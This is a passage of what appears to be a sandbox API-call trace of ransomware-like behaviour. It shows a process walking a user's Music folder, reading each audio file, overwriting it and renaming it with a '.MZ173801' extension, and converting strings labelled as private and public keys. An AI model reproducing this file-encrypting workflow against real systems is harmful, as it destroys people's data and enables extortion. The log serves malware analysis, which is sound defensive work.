"c:\\users\\fd1hvy\\music\\9y41-fr3plkynrnfg2e\\vqltak\\5b1wk siniey1xg8\\g y7h-rew.wav"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x27c [0158.745] WriteFile (in: hFile=0x27c, lpBuffer=0x2511070*, nNumberOfBytesToWrite=0x1ea6, lpNumberOfBytesWritten=0x19f1c0, lpOverlapped=0x0 | out: lpBuffer=0x2511070*, lpNumberOfBytesWritten=0x19f1c0*=0x1ea6, lpOverlapped=0x0) returned 1 [0158.746] CloseHandle (hObject=0x27c) returned 1 [0158.747] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Music\\9y41-fr3PlkYnrNFG2e\\VqltAk\\5B1wK SInIEY1XG8\\g y7h-Rew.wav" (normalized: "c:\\users\\fd1hvy\\music\\9y41-fr3plkynrnfg2e\\vqltak\\5b1wk siniey1xg8\\g y7h-rew.wav"), lpNewFileName="C:\\Users\\FD1HVy\\Music\\9y41-fr3PlkYnrNFG2e\\VqltAk\\5B1wK SInIEY1XG8\\g y7h-Rew.wav.MZ173801" (normalized: "c:\\users\\fd1hvy\\music\\9y41-fr3plkynrnfg2e\\vqltak\\5b1wk siniey1xg8\\g y7h-rew.wav.mz173801")) returned 1 [0158.747] GetCurrentThreadId () returned 0xab4 [0158.747] GetCurrentThreadId () returned 0xab4 [0158.747] GetCurrentThreadId () returned 0xab4 [0158.747] GetCurrentThreadId () returned 0xab4 [0158.747] GetCurrentThreadId () returned 0xab4 [0158.747] GetCurrentThreadId () returned 0xab4 [0158.747] FindNextFileW (in: hFindFile=0xa1b7a8, lpFindFileData=0x19f2ec | out: lpFindFileData=0x19f2ec*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d78b360, ftCreationTime.dwHighDateTime=0x1d5e6bb, ftLastAccessTime.dwLowDateTime=0x5511e480, ftLastAccessTime.dwHighDateTime=0x1d5e298, ftLastWriteTime.dwLowDateTime=0x5511e480, ftLastWriteTime.dwHighDateTime=0x1d5e298, nFileSizeHigh=0x0, nFileSizeLow=0x1d0e, dwReserved0=0x0, dwReserved1=0x19f34c, cFileName="KyDI6rQz0nUT1e2995v.wav", cAlternateFileName="KYDI6R~1.WAV")) returned 1 [0158.747] FileTimeToLocalFileTime (in: lpFileTime=0x19f300, lpLocalFileTime=0x19f260 | out: lpLocalFileTime=0x19f260) returned 1 [0158.747] FileTimeToDosDateTime (in: lpFileTime=0x19f260, lpFatDate=0x19f2ce, lpFatTime=0x19f2cc | out: lpFatDate=0x19f2ce, lpFatTime=0x19f2cc) returned 1 [0158.747] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Music\\9y41-fr3PlkYnrNFG2e\\VqltAk\\5B1wK SInIEY1XG8\\KyDI6rQz0nUT1e2995v.wav" (normalized: "c:\\users\\fd1hvy\\music\\9y41-fr3plkynrnfg2e\\vqltak\\5b1wk siniey1xg8\\kydi6rqz0nut1e2995v.wav"), fInfoLevelId=0x0, lpFileInformation=0x19f1f4 | out: lpFileInformation=0x19f1f4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d78b360, ftCreationTime.dwHighDateTime=0x1d5e6bb, ftLastAccessTime.dwLowDateTime=0x5511e480, ftLastAccessTime.dwHighDateTime=0x1d5e298, ftLastWriteTime.dwLowDateTime=0x5511e480, ftLastWriteTime.dwHighDateTime=0x1d5e298, nFileSizeHigh=0x0, nFileSizeLow=0x1d0e)) returned 1 [0158.747] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Music\\9y41-fr3PlkYnrNFG2e\\VqltAk\\5B1wK SInIEY1XG8\\KyDI6rQz0nUT1e2995v.wav" (normalized: "c:\\users\\fd1hvy\\music\\9y41-fr3plkynrnfg2e\\vqltak\\5b1wk siniey1xg8\\kydi6rqz0nut1e2995v.wav")) returned 0x20 [0158.747] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Music\\9y41-fr3PlkYnrNFG2e\\VqltAk\\5B1wK SInIEY1XG8\\KyDI6rQz0nUT1e2995v.wav", dwFileAttributes=0x80) returned 1 [0158.749] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2417 [0158.749] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x24f61dc, cbMultiByte=2417, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2417 [0158.750] GetCurrentThreadId () returned 0xab4 [0158.750] GetCurrentThreadId () returned 0xab4 [0158.750] GetCurrentThreadId () returned 0xab4 [0158.750] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0158.751] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x250723c, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", lpUsedDefaultChar=0x0) returned 644 [0158.751] GetCurrentThreadId () returned 0xab4 [0158.751] GetCurrentThreadId () returned 0xab4 [0158.751] GetCurrentThreadId () returned 0xab4 [0158.751] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Music\\9y41-fr3PlkYnrNFG2e\\VqltAk\\5B1wK SInIEY1XG8\\KyDI6rQz0nUT1e2995v.wav" (normalized: "c:\\users\\fd1hvy\\music\\9y41-fr3plkynrnfg2e\\vqltak\\5b1wk siniey1xg8\\kydi6rqz0nut1e2995v.wav"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x27c [0158.751] SetFilePointer (in: hFile=0x27c, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f1a8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19f1a8*=0) returned 0x0 [0158.751] SetFilePointer (in: hFile=0x27c, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f1a0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19f1a0*=0) returned 0x0 [0158.751] SetFilePointer (in: hFile=0x27c, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f1a0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19f1a0*=0) returned 0x1d0e [0158.751] SetFilePointer (in: hFile=0x27c, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f1a0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19f1a0*=0) returned 0x0 [0158.751] ReadFile (in: hFile=0x27c, lpBuffer=0x250f040, nNumberOfBytesToRead=0x1d0e, lpNumberOfBytesRead=0x19f1b4, lpOverlapped=0x0 | out: lpBuffer=0x250f040*, lpNumberOfBytesRead=0x19f1b4*=0x1d0e, lpOverlapped=0x0) returned 1 [0158.752] CloseHandle (hObject=0x27c) returned 1 [0158.752] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Music\\9y41-fr3PlkYnrNFG2e\\VqltAk\\5B1wK SInIEY1XG8\\KyDI6rQz0nUT1e2995v.wav" (normalized: "c:\\users\\fd1hvy\\music\\9y41-fr3plkynrnfg2e\\vqltak\\5b1wk siniey1xg8\\kydi6rqz0nut1e2995v.wav"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x27c [0158.753] WriteFile (in: hFile=0x27c, lpBuffer=0x2511070*, nNumberOfBytesToWrite=0x1d0e, lpNumberOfBytesWritten=0x19f1c0, lpOverlapped=0x0 | out: lpBuffer=0x2511070*, lpNumberOfBytesWritten=0x19f1c0*=0x1d0e, lpOverlapped=0x0) returned 1 [0158.754] CloseHandle (hObject=0x27c) returned 1 [0158.755] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Music\\9y41-fr3PlkYnrNFG2e\\VqltAk\\5B1wK SInIEY1XG8\\KyDI6rQz0nUT1e2995v.wav" (normalized: "c:\\users\\fd1hvy\\music\\9y41-fr3plkynrnfg2e\\vqltak\\5b1wk siniey1xg8\\kydi6rqz0nut1e2995v.wav"), lpNewFileName="C:\\Users\\FD1HVy\\Music\\9y41-fr3PlkYnrNFG2e\\VqltAk\\5B1wK SInIEY1XG8\\KyDI6rQz0nUT1e2995v.wav.MZ173801" (normalized: "c:\\users\\fd1hvy\\music\\9y41-fr3plkynrnfg2e\\vqltak\\5b1wk siniey1xg8\\kydi6rqz0nut1e2995v.wav.mz173801")) returned 1 [0158.755] GetCurrentThreadId () returned 0xab4 [0158.755] GetCurrentThreadId () returned 0xab4 [0158.755] GetCurrentThreadId () returned 0xab4 [0158.756] GetCurrentThreadId () returned 0xab4 [0158.756] GetCurrentThreadId () returned 0xab4 [0158.756] GetCurrentThreadId () returned 0xab4 [0158.756] FindNextFileW (in: hFindFile=0xa1b7a8, lpFindFileData=0x19f2ec | out: lpFindFileData=0x19f2ec*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x22852af0, ftCreationTime.dwHighDateTime=0x1d5edaf, ftLastAccessTime.dwLowDateTime=0xf36ab430, ftLastAccessTime.dwHighDateTime=0x1d5ee92, ftLastWriteTime.dwLowDateTime=0xf36ab430, ftLastWriteTime.dwHighDateTime=0x1d5ee92, nFileSizeHigh=0x0, nFileSizeLow=0x2fb1, dwReserved0=0x0, dwReserved1=0x19f34c, cFileName="lPn_fXiKChTLMv.m4a", cAlternateFileName="LPN_FX~1.M4A")) returned 1 [0158.756] FileTimeToLocalFileTime (in: lpFileTime=0x19f300, lpLocalFileTime=0x19f260 | out: lpLocalFileTime=0x19f260) returned 1 [0158.756] FileTimeToDosDateTime (in: lpFileTime=0x19f260, lpFatDate=0x19f2ce, lpFatTime=0x19f2cc | out: lpFatDate=0x19f2ce, lpFatTime=0x19f2cc) returned 1 [0158.756] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Music\\9y41-fr3PlkYnrNFG2e\\VqltAk\\5B1wK SInIEY1XG8\\lPn_fXiKChTLMv.m4a" (normalized: "c:\\users\\fd1hvy\\music\\9y41-fr3plkynrnfg2e\\vqltak\\5b1wk siniey1xg8\\lpn_fxikchtlmv.m4a"), fInfoLevelId=0x0, lpFileInformation=0x19f1f4 | out: lpFileInformation=0x19f1f4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x22852af0, ftCreationTime.dwHighDateTime=0x1d5edaf, ftLastAccessTime.dwLowDateTime=0xf36ab430, ftLastAccessTime.dwHighDateTime=0x1d5ee92, ftLastWriteTime.dwLowDateTime=0xf36ab430, ftLastWriteTime.dwHighDateTime=0x1d5ee92, nFileSizeHigh=0x0, nFileSizeLow=0x2fb1)) returned 1 [0158.756] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Music\\9y41-fr3PlkYnrNFG2e\\VqltAk\\5B1wK SInIEY1XG8\\lPn_fXiKChTLMv.m4a" (normalized: "c:\\users\\fd1hvy\\music\\9y41-fr3plkynrnfg2e\\vqltak\\5b1wk siniey1xg8\\lpn_fxikchtlmv.m4a")) returned 0x20 [0158.756] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Music\\9y41-fr3PlkYnrNFG2e\\VqltAk\\5B1wK SInIEY1XG8\\lPn_fXiKChTLMv.m4a", dwFileAttributes=0x80) returned 1 [0158.757] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, 